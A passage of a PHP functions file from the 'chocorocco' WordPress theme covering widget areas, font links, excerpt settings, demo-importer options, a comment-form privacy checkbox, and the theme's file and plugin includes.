// Register widgetized areas
if ( !function_exists('chocorocco_register_sidebars') ) {
	
	function chocorocco_register_sidebars() {
		$sidebars = chocorocco_get_sidebars();
		if (is_array($sidebars) && count($sidebars) > 0) {
			foreach ($sidebars as $id=>$sb) {
				register_sidebar( array(
										'name'          => esc_html($sb['name']),
										'description'   => esc_html($sb['description']),
										'id'            => esc_attr($id),
										'before_widget' => '<aside id="%1$s" class="widget %2$s">',
										'after_widget'  => '</aside>',
										'before_title'  => '<h5 class="widget_title">',
										'after_title'   => '</h5>'
										)
								);
			}
		}
	}
}

// Return theme specific widgetized areas
if ( !function_exists('chocorocco_get_sidebars') ) {
	function chocorocco_get_sidebars() {
		$list = apply_filters('chocorocco_filter_list_sidebars', array(
			'sidebar_widgets'		=> array(
											'name' => esc_html__('Sidebar Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown on the main sidebar', 'chocorocco')
											),
			'header_widgets'		=> array(
											'name' => esc_html__('Header Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown at the top of the page (in the page header area)', 'chocorocco')
											),
			'above_page_widgets'	=> array(
											'name' => esc_html__('Top Page Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown below the header, but above the content and sidebar', 'chocorocco')
											),
			'above_content_widgets' => array(
											'name' => esc_html__('Above Content Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown above the content, near the sidebar', 'chocorocco')
											),
			'below_content_widgets' => array(
											'name' => esc_html__('Below Content Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown below the content, near the sidebar', 'chocorocco')
											),
			'below_page_widgets' 	=> array(
											'name' => esc_html__('Bottom Page Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown below the content and sidebar, but above the footer', 'chocorocco')
											),
			'footer_widgets'		=> array(
											'name' => esc_html__('Footer Widgets', 'chocorocco'),
											'description' => esc_html__('Widgets to be shown at the bottom of the page (in the page footer area)', 'chocorocco')
											)
			)
		);
		return $list;
	}
}


//-------------------------------------------------------
//-- Theme fonts
//-------------------------------------------------------

// Return links for all theme fonts
if ( !function_exists('chocorocco_theme_fonts_links') ) {
	function chocorocco_theme_fonts_links() {
		$links = array();
		
		/*
		Translators: If there are characters in your language that are not supported
		by chosen font(s), translate this to 'off'. Do not translate into your own language.
		*/
		$google_fonts_enabled = ( 'off' !== esc_html_x( 'on', 'Google fonts: on or off', 'chocorocco' ) );
		$custom_fonts_enabled = ( 'off' !== esc_html_x( 'on', 'Custom fonts (included in the theme): on or off', 'chocorocco' ) );
		
		if ( ($google_fonts_enabled || $custom_fonts_enabled) && !chocorocco_storage_empty('load_fonts') ) {
			$load_fonts = chocorocco_storage_get('load_fonts');
			if (count($load_fonts) > 0) {
				$google_fonts = '';
				foreach ($load_fonts as $font) {
					$slug = chocorocco_get_load_fonts_slug($font['name']);
					$url  = chocorocco_get_file_url( sprintf('css/font-face/%s/stylesheet.css', $slug));
					if ($url != '') {
						if ($custom_fonts_enabled) {
							$links[$slug] = $url;
						}
					} else {
						if ($google_fonts_enabled) {
							$google_fonts .= ($google_fonts ? '|' : '') 
											. str_replace(' ', '+', $font['name'])
											. ':' 
											. (empty($font['styles']) ? '400,400italic,700,700italic' : $font['styles']);
						}
					}
				}
				if ($google_fonts && $google_fonts_enabled) {
					$links['google_fonts'] = sprintf('%s://fonts.googleapis.com/css?family=%s&subset=%s', chocorocco_get_protocol(), $google_fonts, chocorocco_get_theme_option('load_fonts_subset'));
				}
			}
		}
		return $links;
	}
}

// Return links for WP Editor
if ( !function_exists('chocorocco_theme_fonts_for_editor') ) {
	function chocorocco_theme_fonts_for_editor() {
		$links = array_values(chocorocco_theme_fonts_links());
		if (is_array($links) && count($links) > 0) {
			for ($i=0; $i<count($links); $i++) {
				$links[$i] = str_replace(',', '%2C', $links[$i]);
			}
		}
		return $links;
	}
}


//-------------------------------------------------------
//-- The Excerpt
//-------------------------------------------------------
if ( !function_exists('chocorocco_excerpt_length') ) {
	function chocorocco_excerpt_length( $length ) {
		return max(1, chocorocco_get_theme_setting('max_excerpt_length'));
	}
}

if ( !function_exists('chocorocco_excerpt_more') ) {
	function chocorocco_excerpt_more( $more ) {
		return '&hellip;';
	}
}


//------------------------------------------------------------------------
// One-click import support
//------------------------------------------------------------------------

// Set theme specific importer options
if ( !function_exists( 'chocorocco_importer_set_options' ) ) {
	
	function chocorocco_importer_set_options($options=array()) {
		if (is_array($options)) {
			// Save or not installer's messages to the log-file
			$options['debug'] = false;
			// Prepare demo data
			$options['demo_url'] = esc_url(chocorocco_get_protocol() . '://demofiles.ancorathemes.com/chocorocco/');
			// Required plugins
			$options['required_plugins'] = chocorocco_storage_get('required_plugins');
			// Default demo
			$options['files']['default']['title'] = esc_html__('ChocoRocco Demo', 'chocorocco');
			$options['files']['default']['domain_dev'] = esc_url('http://chocorocco.dv.ancorathemes.com');		// Developers domain
			$options['files']['default']['domain_demo']= esc_url('http://chocorocco.ancorathemes.com');		// Demo-site domain
		}
		return $options;
	}
}

// Add checkbox with "I agree ..."
if ( ! function_exists( 'chocorocco_comment_form_agree' ) ) {
    add_filter('comment_form_fields', 'chocorocco_comment_form_agree', 11);
    function chocorocco_comment_form_agree( $comment_fields ) {
        $privacy_text = chocorocco_get_privacy_text();
        if ( ! empty( $privacy_text ) ) {
            $comment_fields['i_agree_privacy_policy'] = chocorocco_single_comments_field(
                array(
                    'form_style'        => 'default',
                    'field_type'        => 'checkbox',
                    'field_req'         => '',
                    'field_icon'        => '',
                    'field_value'       => '1',
                    'field_name'        => 'i_agree_privacy_policy',
                    'field_title'       => $privacy_text,
                )
            );
        }
        return $comment_fields;
    }
}



//-------------------------------------------------------
//-- Include theme (or child) PHP-files
//-------------------------------------------------------

require_once CHOCOROCCO_THEME_DIR . 'includes/utils.php';
require_once CHOCOROCCO_THEME_DIR . 'includes/storage.php';
require_once CHOCOROCCO_THEME_DIR . 'includes/lists.php';
require_once CHOCOROCCO_THEME_DIR . 'includes/wp.php';

if (is_admin()) {
	require_once CHOCOROCCO_THEME_DIR . 'includes/tgmpa/class-tgm-plugin-activation.php';
	require_once CHOCOROCCO_THEME_DIR . 'includes/admin.php';
}

require_once CHOCOROCCO_THEME_DIR . 'theme-options/theme.customizer.php';

require_once CHOCOROCCO_THEME_DIR . 'theme-specific/theme.tags.php';
require_once CHOCOROCCO_THEME_DIR . 'theme-specific/theme.hovers/theme.hovers.php';


// Plugins support
if (is_array($CHOCOROCCO_STORAGE['required_plugins']) && count($CHOCOROCCO_STORAGE['required_plugins']) > 0) {
	foreach ($CHOCOROCCO_STORAGE['required_plugins'] as $plugin_slug) {
		$plugin_slug = chocorocco_esc($plugin_slug);
		$plugin_path = CHOCOROCCO_THEME_DIR . sprintf('plugins/%s/%s.php', $plugin_slug, $plugin_slug);
		if (file_exists($plugin_path)) { require_once $plugin_path; }
	}
}
?>